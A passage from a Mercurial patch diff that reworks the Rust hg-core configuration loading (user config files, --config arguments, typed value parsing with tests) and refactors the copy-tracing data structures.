Some(installation_prefix) = hg.parent().and_then(Path::parent) { + if installation_prefix != root { + add_for_prefix(&installation_prefix)? + } + } + add_for_prefix(root)?; + Ok(()) + } + + #[cfg(unix)] // TODO: other plateforms + fn add_user_config(&mut self) -> Result<(), ConfigError> { + let opt_home = home::home_dir(); + if let Some(home) = &opt_home { + self.add_trusted_file(&home.join(".hgrc"))? + } + let darwin = cfg!(any(target_os = "macos", target_os = "ios")); + if !darwin { + if let Some(config_home) = env::var_os("XDG_CONFIG_HOME") + .map(PathBuf::from) + .or_else(|| opt_home.map(|home| home.join(".config"))) + { + self.add_trusted_file(&config_home.join("hg").join("hgrc"))? + } + } + Ok(()) + } + /// Loads in order, which means that the precedence is the same /// as the order of `sources`. pub fn load_from_explicit_sources( @@ -62,7 +242,7 @@ ConfigSource::AbsPath(c) => { // TODO check if it should be trusted // mercurial/ui.py:427 - let data = match read_whole_file(&c) { + let data = match std::fs::read(&c) { Err(_) => continue, // same as the python code Ok(data) => data, }; @@ -74,13 +254,86 @@ Ok(Config { layers }) } - /// Loads the local config. In a future version, this will also load the - /// `$HOME/.hgrc` and more to mirror the Python implementation. - pub fn load() -> Result { - let root = find_root().unwrap(); - Ok(Self::load_from_explicit_sources(vec![ - ConfigSource::AbsPath(root.join(".hg/hgrc")), - ])?) + /// Loads the per-repository config into a new `Config` which is combined + /// with `self`. + pub(crate) fn combine_with_repo( + &self, + repo_config_files: &[PathBuf], + ) -> Result { + let (cli_layers, other_layers) = self + .layers + .iter() + .cloned() + .partition(ConfigLayer::is_from_command_line); + + let mut repo_config = Self { + layers: other_layers, + }; + for path in repo_config_files { + // TODO: check if this file should be trusted: + // `mercurial/ui.py:427` + repo_config.add_trusted_file(path)?; + } + repo_config.layers.extend(cli_layers); + Ok(repo_config) + } + + fn get_parse<'config, T: 'config>( + &'config self, + section: &[u8], + item: &[u8], + expected_type: &'static str, + parse: impl Fn(&'config [u8]) -> Option, + ) -> Result, ConfigValueParseError> { + match self.get_inner(§ion, &item) { + Some((layer, v)) => match parse(&v.bytes) { + Some(b) => Ok(Some(b)), + None => Err(ConfigValueParseError { + origin: layer.origin.to_owned(), + line: v.line, + value: v.bytes.to_owned(), + section: section.to_owned(), + item: item.to_owned(), + expected_type, + }), + }, + None => Ok(None), + } + } + + /// Returns an `Err` if the first value found is not a valid UTF-8 string. + /// Otherwise, returns an `Ok(value)` if found, or `None`. + pub fn get_str( + &self, + section: &[u8], + item: &[u8], + ) -> Result, ConfigValueParseError> { + self.get_parse(section, item, "ASCII or UTF-8 string", |value| { + str::from_utf8(value).ok() + }) + } + + /// Returns an `Err` if the first value found is not a valid unsigned + /// integer. Otherwise, returns an `Ok(value)` if found, or `None`. + pub fn get_u32( + &self, + section: &[u8], + item: &[u8], + ) -> Result, ConfigValueParseError> { + self.get_parse(section, item, "valid integer", |value| { + str::from_utf8(value).ok()?.parse().ok() + }) + } + + /// Returns an `Err` if the first value found is not a valid file size + /// value such as `30` (default unit is bytes), `7 MB`, or `42.5 kb`. + /// Otherwise, returns an `Ok(value_in_bytes)` if found, or `None`. + pub fn get_byte_size( + &self, + section: &[u8], + item: &[u8], + ) -> Result, ConfigValueParseError> { + self.get_parse(section, item, "byte quantity", values::parse_byte_size) } /// Returns an `Err` if the first value found is not a valid boolean. @@ -90,18 +343,8 @@ &self, section: &[u8], item: &[u8], - ) -> Result, ConfigError> { - match self.get_inner(§ion, &item) { - Some((layer, v)) => match parse_bool(&v.bytes) { - Some(b) => Ok(Some(b)), - None => Err(ConfigError::Parse { - origin: layer.origin.to_owned(), - line: v.line, - bytes: v.bytes.to_owned(), - }), - }, - None => Ok(None), - } + ) -> Result, ConfigValueParseError> { + self.get_parse(section, item, "boolean", values::parse_bool) } /// Returns the corresponding boolean in the config. Returns `Ok(false)` @@ -110,10 +353,35 @@ &self, section: &[u8], item: &[u8], - ) -> Result { + ) -> Result { Ok(self.get_option(section, item)?.unwrap_or(false)) } + /// Returns the corresponding list-value in the config if found, or `None`. + /// + /// This is appropriate for new configuration keys. The value syntax is + /// **not** the same as most existing list-valued config, which has Python + /// parsing implemented in `parselist()` in `mercurial/config.py`. + /// Faithfully porting that parsing algorithm to Rust (including behavior + /// that are arguably bugs) turned out to be non-trivial and hasn’t been + /// completed as of this writing. + /// + /// Instead, the "simple" syntax is: split on comma, then trim leading and + /// trailing whitespace of each component. Quotes or backslashes are not + /// interpreted in any way. Commas are mandatory between values. Values + /// that contain a comma are not supported. + pub fn get_simple_list( + &self, + section: &[u8], + item: &[u8], + ) -> Option> { + self.get(section, item).map(|value| { + value + .split(|&byte| byte == b',') + .map(|component| component.trim()) + }) + } + /// Returns the raw value bytes of the first one found, or `None`. pub fn get(&self, section: &[u8], item: &[u8]) -> Option<&[u8]> { self.get_inner(section, item) @@ -137,6 +405,14 @@ None } + /// Return all keys defined for the given section + pub fn get_section_keys(&self, section: &[u8]) -> HashSet<&[u8]> { + self.layers + .iter() + .flat_map(|layer| layer.iter_keys(section)) + .collect() + } + /// Get raw values bytes from all layers (even untrusted ones) in order /// of precedence. #[cfg(test)] @@ -169,15 +445,14 @@ let base_config_path = tmpdir_path.join("base.rc"); let mut config_file = File::create(&base_config_path).unwrap(); let data = - b"[section]\nitem=value0\n%include included.rc\nitem=value2"; + b"[section]\nitem=value0\n%include included.rc\nitem=value2\n\ + [section2]\ncount = 4\nsize = 1.5 KB\nnot-count = 1.5\nnot-size = 1 ub"; config_file.write_all(data).unwrap(); let sources = vec![ConfigSource::AbsPath(base_config_path)]; let config = Config::load_from_explicit_sources(sources) .expect("expected valid config"); - dbg!(&config); - let (_, value) = config.get_inner(b"section", b"item").unwrap(); assert_eq!( value, @@ -193,5 +468,13 @@ config.get_all(b"section", b"item"), [b"value2", b"value1", b"value0"] ); + + assert_eq!(config.get_u32(b"section2", b"count").unwrap(), Some(4)); + assert_eq!( + config.get_byte_size(b"section2", b"size").unwrap(), + Some(1024 + 512) + ); + assert!(config.get_u32(b"section2", b"not-count").is_err()); + assert!(config.get_byte_size(b"section2", b"not-size").is_err()); } } diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/config/layer.rs --- a/rust/hg-core/src/config/layer.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/config/layer.rs Tue Apr 20 11:01:06 2021 -0400 @@ -7,14 +7,12 @@ // This software may be used and distributed according to the terms of the // GNU General Public License version 2 or any later version. -use crate::utils::files::{ - get_bytes_from_path, get_path_from_bytes, read_whole_file, -}; -use format_bytes::format_bytes; +use crate::errors::HgError; +use crate::utils::files::{get_bytes_from_path, get_path_from_bytes}; +use format_bytes::{format_bytes, write_bytes, DisplayBytes}; use lazy_static::lazy_static; use regex::bytes::Regex; use std::collections::HashMap; -use std::io; use std::path::{Path, PathBuf}; lazy_static! { @@ -53,6 +51,51 @@ } } + /// Parse `--config` CLI arguments and return a layer if there’s any + pub(crate) fn parse_cli_args( + cli_config_args: impl IntoIterator>, + ) -> Result, ConfigError> { + fn parse_one(arg: &[u8]) -> Option<(Vec, Vec, Vec)> { + use crate::utils::SliceExt; + + let (section_and_item, value) = arg.split_2(b'=')?; + let (section, item) = section_and_item.trim().split_2(b'.')?; + Some(( + section.to_owned(), + item.to_owned(), + value.trim().to_owned(), + )) + } + + let mut layer = Self::new(ConfigOrigin::CommandLine); + for arg in cli_config_args { + let arg = arg.as_ref(); + if let Some((section, item, value)) = parse_one(arg) { + layer.add(section, item, value, None); + } else { + Err(HgError::abort(format!( + "abort: malformed --config option: '{}' \ + (use --config section.name=value)", + String::from_utf8_lossy(arg), + )))? + } + } + if layer.sections.is_empty() { + Ok(None) + } else { + Ok(Some(layer)) + } + } + + /// Returns whether this layer comes from `--config` CLI arguments + pub(crate) fn is_from_command_line(&self) -> bool { + if let ConfigOrigin::CommandLine = self.origin { + true + } else { + false + } + } + /// Add an entry to the config, overwriting the old one if already present. pub fn add( &mut self, @@ -72,6 +115,14 @@ Some(self.sections.get(section)?.get(item)?) } + /// Returns the keys defined in the given section + pub fn iter_keys(&self, section: &[u8]) -> impl Iterator { + self.sections + .get(section) + .into_iter() + .flat_map(|section| section.keys().map(|vec| &**vec)) + } + pub fn is_empty(&self) -> bool { self.sections.is_empty() } @@ -96,21 +147,39 @@ let mut section = b"".to_vec(); while let Some((index, bytes)) = lines_iter.next() { + let line = Some(index + 1); if let Some(m) = INCLUDE_RE.captures(&bytes) { let filename_bytes = &m[1]; - let filename_to_include = get_path_from_bytes(&filename_bytes); - match read_include(&src, &filename_to_include) { - (include_src, Ok(data)) => { + let filename_bytes = crate::utils::expand_vars(filename_bytes); + // `Path::parent` only fails for the root directory, + // which `src` can’t be since we’ve managed to open it as a + // file. + let dir = src + .parent() + .expect("Path::parent fail on a file we’ve read"); + // `Path::join` with an absolute argument correctly ignores the + // base path + let filename = dir.join(&get_path_from_bytes(&filename_bytes)); + match std::fs::read(&filename) { + Ok(data) => { layers.push(current_layer); - layers.extend(Self::parse(&include_src, &data)?); + layers.extend(Self::parse(&filename, &data)?); current_layer = Self::new(ConfigOrigin::File(src.to_owned())); } - (_, Err(e)) => { - return Err(ConfigError::IncludeError { - path: filename_to_include.to_owned(), - io_error: e, - }) + Err(error) => { + if error.kind() != std::io::ErrorKind::NotFound { + return Err(ConfigParseError { + origin: ConfigOrigin::File(src.to_owned()), + line, + message: format_bytes!( + b"cannot include {} ({})", + filename_bytes, + format_bytes::Utf8(error) + ), + } + .into()); + } } } } else if let Some(_) = EMPTY_RE.captures(&bytes) { @@ -134,22 +203,23 @@ }; lines_iter.next(); } - current_layer.add( - section.clone(), - item, - value, - Some(index + 1), - ); + current_layer.add(section.clone(), item, value, line); } else if let Some(m) = UNSET_RE.captures(&bytes) { if let Some(map) = current_layer.sections.get_mut(§ion) { map.remove(&m[1]); } } else { - return Err(ConfigError::Parse { + let message = if bytes.starts_with(b" ") { + format_bytes!(b"unexpected leading whitespace: {}", bytes) + } else { + bytes.to_owned() + }; + return Err(ConfigParseError { origin: ConfigOrigin::File(src.to_owned()), - line: Some(index + 1), - bytes: bytes.to_owned(), - }); + line, + message, + } + .into()); } } if !current_layer.is_empty() { @@ -159,8 +229,11 @@ } } -impl std::fmt::Debug for ConfigLayer { - fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { +impl DisplayBytes for ConfigLayer { + fn display_bytes( + &self, + out: &mut dyn std::io::Write, + ) -> std::io::Result<()> { let mut sections: Vec<_> = self.sections.iter().collect(); sections.sort_by(|e0, e1| e0.0.cmp(e1.0)); @@ -169,16 +242,13 @@ items.sort_by(|e0, e1| e0.0.cmp(e1.0)); for (item, config_entry) in items { - writeln!( - f, - "{}", - String::from_utf8_lossy(&format_bytes!( - b"{}.{}={} # {}", - section, - item, - &config_entry.bytes, - &self.origin.to_bytes(), - )) + write_bytes!( + out, + b"{}.{}={} # {}\n", + section, + item, + &config_entry.bytes, + &self.origin, )? } } @@ -205,9 +275,11 @@ #[derive(Clone, Debug)] pub enum ConfigOrigin { - /// The value comes from a configuration file + /// From a configuration file File(PathBuf), - /// The value comes from the environment like `$PAGER` or `$EDITOR` + /// From a `--config` CLI argument + CommandLine, + /// From environment variables like `$PAGER` or `$EDITOR` Environment(Vec), /* TODO cli * TODO defaults (configitems.py) @@ -216,53 +288,32 @@ * Others? */ } -impl ConfigOrigin { - /// TODO use some kind of dedicated trait? - pub fn to_bytes(&self) -> Vec { +impl DisplayBytes for ConfigOrigin { + fn display_bytes( + &self, + out: &mut dyn std::io::Write, + ) -> std::io::Result<()> { match self { - ConfigOrigin::File(p) => get_bytes_from_path(p), - ConfigOrigin::Environment(e) => e.to_owned(), + ConfigOrigin::File(p) => out.write_all(&get_bytes_from_path(p)), + ConfigOrigin::CommandLine => out.write_all(b"--config"), + ConfigOrigin::Environment(e) => write_bytes!(out, b"${}", e), } } } #[derive(Debug)] -pub enum ConfigError { - Parse { - origin: ConfigOrigin, - line: Option, - bytes: Vec, - }, - /// Failed to include a sub config file - IncludeError { - path: PathBuf, - io_error: std::io::Error, - }, - /// Any IO error that isn't expected - IO(std::io::Error), +pub struct ConfigParseError { + pub origin: ConfigOrigin, + pub line: Option, + pub message: Vec, } -impl From for ConfigError { - fn from(e: std::io::Error) -> Self { - Self::IO(e) - } +#[derive(Debug, derive_more::From)] +pub enum ConfigError { + Parse(ConfigParseError), + Other(HgError), } fn make_regex(pattern: &'static str) -> Regex { Regex::new(pattern).expect("expected a valid regex") } - -/// Includes are relative to the file they're defined in, unless they're -/// absolute. -fn read_include( - old_src: &Path, - new_src: &Path, -) -> (PathBuf, io::Result>) { - if new_src.is_absolute() { - (new_src.to_path_buf(), read_whole_file(&new_src)) - } else { - let dir = old_src.parent().unwrap(); - let new_src = dir.join(&new_src); - (new_src.to_owned(), read_whole_file(&new_src)) - } -} diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/config/values.rs --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/rust/hg-core/src/config/values.rs Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,61 @@ +//! Parsing functions for various type of configuration values. +//! +//! Returning `None` indicates a syntax error. Using a `Result` would be more +//! correct but would take more boilerplate for converting between error types, +//! compared to using `.ok()` on inner results of various error types to +//! convert them all to options. The `Config::get_parse` method later converts +//! those options to results with `ConfigValueParseError`, which contains +//! details about where the value came from (but omits details of what’s +//! invalid inside the value). + +pub(super) fn parse_bool(v: &[u8]) -> Option { + match v.to_ascii_lowercase().as_slice() { + b"1" | b"yes" | b"true" | b"on" | b"always" => Some(true), + b"0" | b"no" | b"false" | b"off" | b"never" => Some(false), + _ => None, + } +} + +pub(super) fn parse_byte_size(value: &[u8]) -> Option { + let value = std::str::from_utf8(value).ok()?.to_ascii_lowercase(); + const UNITS: &[(&str, u64)] = &[ + ("g", 1 << 30), + ("gb", 1 << 30), + ("m", 1 << 20), + ("mb", 1 << 20), + ("k", 1 << 10), + ("kb", 1 << 10), + ("b", 1 << 0), // Needs to be last + ]; + for &(unit, multiplier) in UNITS { + // TODO: use `value.strip_suffix(unit)` when we require Rust 1.45+ + if value.ends_with(unit) { + let value_before_unit = &value[..value.len() - unit.len()]; + let float: f64 = value_before_unit.trim().parse().ok()?; + if float >= 0.0 { + return Some((float * multiplier as f64).round() as u64); + } else { + return None; + } + } + } + value.parse().ok() +} + +#[test] +fn test_parse_byte_size() { + assert_eq!(parse_byte_size(b""), None); + assert_eq!(parse_byte_size(b"b"), None); + + assert_eq!(parse_byte_size(b"12"), Some(12)); + assert_eq!(parse_byte_size(b"12b"), Some(12)); + assert_eq!(parse_byte_size(b"12 b"), Some(12)); + assert_eq!(parse_byte_size(b"12.1 b"), Some(12)); + assert_eq!(parse_byte_size(b"1.1 K"), Some(1126)); + assert_eq!(parse_byte_size(b"1.1 kB"), Some(1126)); + + assert_eq!(parse_byte_size(b"-12 b"), None); + assert_eq!(parse_byte_size(b"-0.1 b"), None); + assert_eq!(parse_byte_size(b"0.1 b"), Some(0)); + assert_eq!(parse_byte_size(b"12.1 b"), Some(12)); +} diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/copy_tracing.rs --- a/rust/hg-core/src/copy_tracing.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/copy_tracing.rs Tue Apr 20 11:01:06 2021 -0400 @@ -1,46 +1,121 @@ +#[cfg(test)] +#[macro_use] +mod tests_support; + +#[cfg(test)] +mod tests; + use crate::utils::hg_path::HgPath; use crate::utils::hg_path::HgPathBuf; use crate::Revision; use crate::NULL_REVISION; -use im_rc::ordmap::DiffItem; +use bytes_cast::{unaligned, BytesCast}; use im_rc::ordmap::Entry; use im_rc::ordmap::OrdMap; +use im_rc::OrdSet; use std::cmp::Ordering; use std::collections::HashMap; -use std::convert::TryInto; pub type PathCopies = HashMap; type PathToken = usize; -#[derive(Clone, Debug, PartialEq, Copy)] -struct TimeStampedPathCopy { +#[derive(Clone, Debug)] +struct CopySource { /// revision at which the copy information was added rev: Revision, /// the copy source, (Set to None in case of deletion of the associated /// key) path: Option, + /// a set of previous `CopySource.rev` value directly or indirectly + /// overwritten by this one. + overwritten: OrdSet, +} + +impl CopySource { + /// create a new CopySource + /// + /// Use this when no previous copy source existed. + fn new(rev: Revision, path: Option) -> Self { + Self { + rev, + path, + overwritten: OrdSet::new(), + } + } + + /// create a new CopySource from merging two others + /// + /// Use this when merging two InternalPathCopies requires active merging of + /// some entries. + fn new_from_merge(rev: Revision, winner: &Self, loser: &Self) -> Self { + let mut overwritten = OrdSet::new(); + overwritten.extend(winner.overwritten.iter().copied()); + overwritten.extend(loser.overwritten.iter().copied()); + overwritten.insert(winner.rev); + overwritten.insert(loser.rev); + Self { + rev, + path: winner.path, + overwritten: overwritten, + } + } + + /// Update the value of a pre-existing CopySource + /// + /// Use this when recording copy information from parent → child edges + fn overwrite(&mut self, rev: Revision, path: Option) { + self.overwritten.insert(self.rev); + self.rev = rev; + self.path = path; + } + + /// Mark pre-existing copy information as "dropped" by a file deletion + /// + /// Use this when recording copy information from parent → child edges + fn mark_delete(&mut self, rev: Revision) { + self.overwritten.insert(self.rev); + self.rev = rev; + self.path = None; + } + + /// Mark pre-existing copy information as "dropped" by a file deletion + /// + /// Use this when recording copy information from parent → child edges + fn mark_delete_with_pair(&mut self, rev: Revision, other: &Self) { + self.overwritten.insert(self.rev); + if other.rev != rev { + self.overwritten.insert(other.rev); + } + self.overwritten.extend(other.overwritten.iter().copied()); + self.rev = rev; + self.path = None; + } + + fn is_overwritten_by(&self, other: &Self) -> bool { + other.overwritten.contains(&self.rev) + } +} + +// For the same "dest", content generated for a given revision will always be +// the same. +impl PartialEq for CopySource { + fn eq(&self, other: &Self) -> bool { + #[cfg(debug_assertions)] + { + if self.rev == other.rev { + debug_assert!(self.path == other.path); + debug_assert!(self.overwritten == other.overwritten); + } + } + self.rev == other.rev + } } /// maps CopyDestination to Copy Source (+ a "timestamp" for the operation) -type TimeStampedPathCopies = OrdMap; - -/// hold parent 1, parent 2 and relevant files actions. -pub type RevInfo<'a> = (Revision, Revision, ChangedFiles<'a>); - -/// represent the files affected by a changesets -/// -/// This hold a subset of mercurial.metadata.ChangingFiles as we do not need -/// all the data categories tracked by it. -/// This hold a subset of mercurial.metadata.ChangingFiles as we do not need -/// all the data categories tracked by it. -pub struct ChangedFiles<'a> { - nb_items: u32, - index: &'a [u8], - data: &'a [u8], -} +type InternalPathCopies = OrdMap; /// Represent active changes that affect the copy tracing. enum Action<'a> { @@ -51,7 +126,8 @@ Removed(&'a HgPath), /// The parent ? children edge introduce copy information between (dest, /// source) - Copied(&'a HgPath, &'a HgPath), + CopiedFromP1(&'a HgPath, &'a HgPath), + CopiedFromP2(&'a HgPath, &'a HgPath), } /// This express the possible "special" case we can get in a merge @@ -67,9 +143,6 @@ Normal, } -type FileChange<'a> = (u8, &'a HgPath, &'a HgPath); - -const EMPTY: &[u8] = b""; const COPY_MASK: u8 = 3; const P1_COPY: u8 = 2; const P2_COPY: u8 = 3; @@ -78,142 +151,94 @@ const MERGED: u8 = 8; const SALVAGED: u8 = 16; -impl<'a> ChangedFiles<'a> { - const INDEX_START: usize = 4; - const ENTRY_SIZE: u32 = 9; - const FILENAME_START: u32 = 1; - const COPY_SOURCE_START: u32 = 5; +#[derive(BytesCast)] +#[repr(C)] +struct ChangedFilesIndexEntry { + flags: u8, - pub fn new(data: &'a [u8]) -> Self { - assert!( - data.len() >= 4, - "data size ({}) is too small to contain the header (4)", - data.len() - ); - let nb_items_raw: [u8; 4] = (&data[0..=3]) - .try_into() - .expect("failed to turn 4 bytes into 4 bytes"); - let nb_items = u32::from_be_bytes(nb_items_raw); + /// Only the end position is stored. The start is at the end of the + /// previous entry. + destination_path_end_position: unaligned::U32Be, - let index_size = (nb_items * Self::ENTRY_SIZE) as usize; - let index_end = Self::INDEX_START + index_size; + source_index_entry_position: unaligned::U32Be, +} + +fn _static_assert_size_of() { + let _ = std::mem::transmute::; +} - assert!( - data.len() >= index_end, - "data size ({}) is too small to fit the index_data ({})", - data.len(), - index_end - ); +/// Represents the files affected by a changeset. +/// +/// This holds a subset of `mercurial.metadata.ChangingFiles` as we do not need +/// all the data categories tracked by it. +pub struct ChangedFiles<'a> { + index: &'a [ChangedFilesIndexEntry], + paths: &'a [u8], +} - let ret = ChangedFiles { - nb_items, - index: &data[Self::INDEX_START..index_end], - data: &data[index_end..], - }; - let max_data = ret.filename_end(nb_items - 1) as usize; - assert!( - ret.data.len() >= max_data, - "data size ({}) is too small to fit all data ({})", - data.len(), - index_end + max_data - ); - ret +impl<'a> ChangedFiles<'a> { + pub fn new(data: &'a [u8]) -> Self { + let (header, rest) = unaligned::U32Be::from_bytes(data).unwrap(); + let nb_index_entries = header.get() as usize; + let (index, paths) = + ChangedFilesIndexEntry::slice_from_bytes(rest, nb_index_entries) + .unwrap(); + Self { index, paths } } pub fn new_empty() -> Self { ChangedFiles { - nb_items: 0, - index: EMPTY, - data: EMPTY, + index: &[], + paths: &[], } } - /// internal function to return an individual entry at a given index - fn entry(&'a self, idx: u32) -> FileChange<'a> { - if idx >= self.nb_items { - panic!( - "index for entry is higher that the number of file {} >= {}", - idx, self.nb_items - ) - } - let flags = self.flags(idx); - let filename = self.filename(idx); - let copy_idx = self.copy_idx(idx); - let copy_source = self.filename(copy_idx); - (flags, filename, copy_source) - } - - /// internal function to return the filename of the entry at a given index - fn filename(&self, idx: u32) -> &HgPath { - let filename_start; - if idx == 0 { - filename_start = 0; + /// Internal function to return the filename of the entry at a given index + fn path(&self, idx: usize) -> &HgPath { + let start = if idx == 0 { + 0 } else { - filename_start = self.filename_end(idx - 1) - } - let filename_end = self.filename_end(idx); - let filename_start = filename_start as usize; - let filename_end = filename_end as usize; - HgPath::new(&self.data[filename_start..filename_end]) - } - - /// internal function to return the flag field of the entry at a given - /// index - fn flags(&self, idx: u32) -> u8 { - let idx = idx as usize; - self.index[idx * (Self::ENTRY_SIZE as usize)] - } - - /// internal function to return the end of a filename part at a given index - fn filename_end(&self, idx: u32) -> u32 { - let start = (idx * Self::ENTRY_SIZE) + Self::FILENAME_START; - let end = (idx * Self::ENTRY_SIZE) + Self::COPY_SOURCE_START; - let start = start as usize; - let end = end as usize; - let raw = (&self.index[start..end]) - .try_into() - .expect("failed to turn 4 bytes into 4 bytes"); - u32::from_be_bytes(raw) - } - - /// internal function to return index of the copy source of the entry at a - /// given index - fn copy_idx(&self, idx: u32) -> u32 { - let start = (idx * Self::ENTRY_SIZE) + Self::COPY_SOURCE_START; - let end = (idx + 1) * Self::ENTRY_SIZE; - let start = start as usize; - let end = end as usize; - let raw = (&self.index[start..end]) - .try_into() - .expect("failed to turn 4 bytes into 4 bytes"); - u32::from_be_bytes(raw) + self.index[idx - 1].destination_path_end_position.get() as usize + }; + let end = self.index[idx].destination_path_end_position.get() as usize; + HgPath::new(&self.paths[start..end]) } /// Return an iterator over all the `Action` in this instance. - fn iter_actions(&self, parent: Parent) -> ActionsIterator { - ActionsIterator { - changes: &self, - parent: parent, - current: 0, - } + fn iter_actions(&self) -> impl Iterator { + self.index.iter().enumerate().flat_map(move |(idx, entry)| { + let path = self.path(idx); + if (entry.flags & ACTION_MASK) == REMOVED { + Some(Action::Removed(path)) + } else if (entry.flags & COPY_MASK) == P1_COPY { + let source_idx = + entry.source_index_entry_position.get() as usize; + Some(Action::CopiedFromP1(path, self.path(source_idx))) + } else if (entry.flags & COPY_MASK) == P2_COPY { + let source_idx = + entry.source_index_entry_position.get() as usize; + Some(Action::CopiedFromP2(path, self.path(source_idx))) + } else { + None + } + }) } /// return the MergeCase value associated with a filename fn get_merge_case(&self, path: &HgPath) -> MergeCase { - if self.nb_items == 0 { + if self.index.is_empty() { return MergeCase::Normal; } let mut low_part = 0; - let mut high_part = self.nb_items; + let mut high_part = self.index.len(); while low_part < high_part { let cursor = (low_part + high_part - 1) / 2; - let (flags, filename, _source) = self.entry(cursor); - match path.cmp(filename) { + match path.cmp(self.path(cursor)) { Ordering::Less => low_part = cursor + 1, Ordering::Greater => high_part = cursor, Ordering::Equal => { - return match flags & ACTION_MASK { + return match self.index[cursor].flags & ACTION_MASK { MERGED => MergeCase::Merged, SALVAGED => MergeCase::Salvaged, _ => MergeCase::Normal, @@ -225,100 +250,6 @@ } } -/// A struct responsible for answering "is X ancestors of Y" quickly -/// -/// The structure will delegate ancestors call to a callback, and cache the -/// result. -#[derive(Debug)] -struct AncestorOracle<'a, A: Fn(Revision, Revision) -> bool> { - inner: &'a A, - pairs: HashMap<(Revision, Revision), bool>, -} - -impl<'a, A: Fn(Revision, Revision) -> bool> AncestorOracle<'a, A> { - fn new(func: &'a A) -> Self { - Self { - inner: func, - pairs: HashMap::default(), - } - } - - fn record_overwrite(&mut self, anc: Revision, desc: Revision) { - self.pairs.insert((anc, desc), true); - } - - /// returns `true` if `anc` is an ancestors of `desc`, `false` otherwise - fn is_overwrite(&mut self, anc: Revision, desc: Revision) -> bool { - if anc > desc { - false - } else if anc == desc { - true - } else { - if let Some(b) = self.pairs.get(&(anc, desc)) { - *b - } else { - let b = (self.inner)(anc, desc); - self.pairs.insert((anc, desc), b); - b - } - } - } -} - -struct ActionsIterator<'a> { - changes: &'a ChangedFiles<'a>, - parent: Parent, - current: u32, -} - -impl<'a> Iterator for ActionsIterator<'a> { - type Item = Action<'a>; - - fn next(&mut self) -> Option> { - let copy_flag = match self.parent { - Parent::FirstParent => P1_COPY, - Parent::SecondParent => P2_COPY, - }; - while self.current < self.changes.nb_items { - let (flags, file, source) = self.changes.entry(self.current); - self.current += 1; - if (flags & ACTION_MASK) == REMOVED { - return Some(Action::Removed(file)); - } - let copy = flags & COPY_MASK; - if copy == copy_flag { - return Some(Action::Copied(file, source)); - } - } - return None; - } -} - -/// A small struct whose purpose is to ensure lifetime of bytes referenced in -/// ChangedFiles -/// -/// It is passed to the RevInfoMaker callback who can assign any necessary -/// content to the `data` attribute. The copy tracing code is responsible for -/// keeping the DataHolder alive at least as long as the ChangedFiles object. -pub struct DataHolder { - /// RevInfoMaker callback should assign data referenced by the - /// ChangedFiles struct it return to this attribute. The DataHolder - /// lifetime will be at least as long as the ChangedFiles one. - pub data: Option, -} - -pub type RevInfoMaker<'a, D> = - Box Fn(Revision, &'r mut DataHolder) -> RevInfo<'r> + 'a>; - -/// enum used to carry information about the parent → child currently processed -#[derive(Copy, Clone, Debug)] -enum Parent { - /// The `p1(x) → x` edge - FirstParent, - /// The `p2(x) → x` edge - SecondParent, -} - /// A small "tokenizer" responsible of turning full HgPath into lighter /// PathToken /// @@ -345,123 +276,110 @@ } fn untokenize(&self, token: PathToken) -> &HgPathBuf { - assert!(token < self.path.len(), format!("Unknown token: {}", token)); + assert!(token < self.path.len(), "Unknown token: {}", token); &self.path[token] } } /// Same as mercurial.copies._combine_changeset_copies, but in Rust. -/// -/// Arguments are: -/// -/// revs: all revisions to be considered -/// children: a {parent ? [childrens]} mapping -/// target_rev: the final revision we are combining copies to -/// rev_info(rev): callback to get revision information: -/// * first parent -/// * second parent -/// * ChangedFiles -/// isancestors(low_rev, high_rev): callback to check if a revision is an -/// ancestor of another -pub fn combine_changeset_copies bool, D>( - revs: Vec, - mut children_count: HashMap, - target_rev: Revision, - rev_info: RevInfoMaker, - is_ancestor: &A, -) -> PathCopies { - let mut all_copies = HashMap::new(); - let mut oracle = AncestorOracle::new(is_ancestor); - - let mut path_map = TwoWayPathMap::default(); - - for rev in revs { - let mut d: DataHolder = DataHolder { data: None }; - let (p1, p2, changes) = rev_info(rev, &mut d); +pub struct CombineChangesetCopies { + all_copies: HashMap, + path_map: TwoWayPathMap, + children_count: HashMap, +} - // We will chain the copies information accumulated for the parent with - // the individual copies information the curent revision. Creating a - // new TimeStampedPath for each `rev` → `children` vertex. - let mut copies: Option = None; - if p1 != NULL_REVISION { - // Retrieve data computed in a previous iteration - let parent_copies = get_and_clean_parent_copies( - &mut all_copies, - &mut children_count, - p1, - ); - if let Some(parent_copies) = parent_copies { - // combine it with data for that revision - let vertex_copies = add_from_changes( - &mut path_map, - &mut oracle, - &parent_copies, - &changes, - Parent::FirstParent, - rev, - ); - // keep that data around for potential later combination - copies = Some(vertex_copies); - } - } - if p2 != NULL_REVISION { - // Retrieve data computed in a previous iteration - let parent_copies = get_and_clean_parent_copies( - &mut all_copies, - &mut children_count, - p2, - ); - if let Some(parent_copies) = parent_copies { - // combine it with data for that revision - let vertex_copies = add_from_changes( - &mut path_map, - &mut oracle, - &parent_copies, - &changes, - Parent::SecondParent, - rev, - ); - - copies = match copies { - None => Some(vertex_copies), - // Merge has two parents needs to combines their copy - // information. - // - // If we got data from both parents, We need to combine - // them. - Some(copies) => Some(merge_copies_dict( - &path_map, - rev, - vertex_copies, - copies, - &changes, - &mut oracle, - )), - }; - } - } - match copies { - Some(copies) => { - all_copies.insert(rev, copies); - } - _ => {} +impl CombineChangesetCopies { + pub fn new(children_count: HashMap) -> Self { + Self { + all_copies: HashMap::new(), + path_map: TwoWayPathMap::default(), + children_count, } } - // Drop internal information (like the timestamp) and return the final - // mapping. - let tt_result = all_copies - .remove(&target_rev) - .expect("target revision was not processed"); - let mut result = PathCopies::default(); - for (dest, tt_source) in tt_result { - if let Some(path) = tt_source.path { - let path_dest = path_map.untokenize(dest).to_owned(); - let path_path = path_map.untokenize(path).to_owned(); - result.insert(path_dest, path_path); + /// Combined the given `changes` data specific to `rev` with the data + /// previously given for its parents (and transitively, its ancestors). + pub fn add_revision( + &mut self, + rev: Revision, + p1: Revision, + p2: Revision, + changes: ChangedFiles<'_>, + ) { + self.add_revision_inner(rev, p1, p2, changes.iter_actions(), |path| { + changes.get_merge_case(path) + }) + } + + /// Separated out 